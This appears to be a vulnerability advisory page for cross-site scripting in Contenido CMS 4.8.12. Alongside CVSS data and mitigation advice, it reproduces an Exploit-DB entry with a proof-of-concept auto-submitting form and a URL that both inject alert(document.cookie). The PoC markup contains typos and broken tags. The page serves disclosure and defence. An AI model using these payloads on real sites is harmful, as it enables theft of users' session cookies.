Cross-Site Scripting in Contenido CMS

vendor:

Contenido CMS

by:

6.1

CVSS

MEDIUM

Cross-Site Scripting (XSS)

CWE

Product Name: Contenido CMS

Affected Version From: Contenido CMS 4.8.12

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

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Cross-Site Scripting in Contenido CMS

Contenido CMS is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize and validate user input before using it in web applications. Implementing proper input validation and output encoding can help prevent XSS attacks.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/45160/info

Contenido CMS is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Contenido CMS 4.8.12 is vulnerable; other versions may also be affected. 

<form action=http://www.example.com/path/to/contact/form.html?parentid= methos=POST name=M>
<input type="hidden" name="send" valuye="1">
<input type="hidden" name="Vorname" valuye=&#039;z"><script>alert(document.cookie)</script>&#039;>
</form>
<script>
document.M.Submit();
<script>


http://www.example.com/en/front_content.php?idart=1267%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E